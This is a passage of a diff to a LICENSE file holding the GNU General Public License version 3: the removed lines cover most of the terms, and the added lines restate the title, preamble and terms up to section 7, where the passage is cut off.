General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the 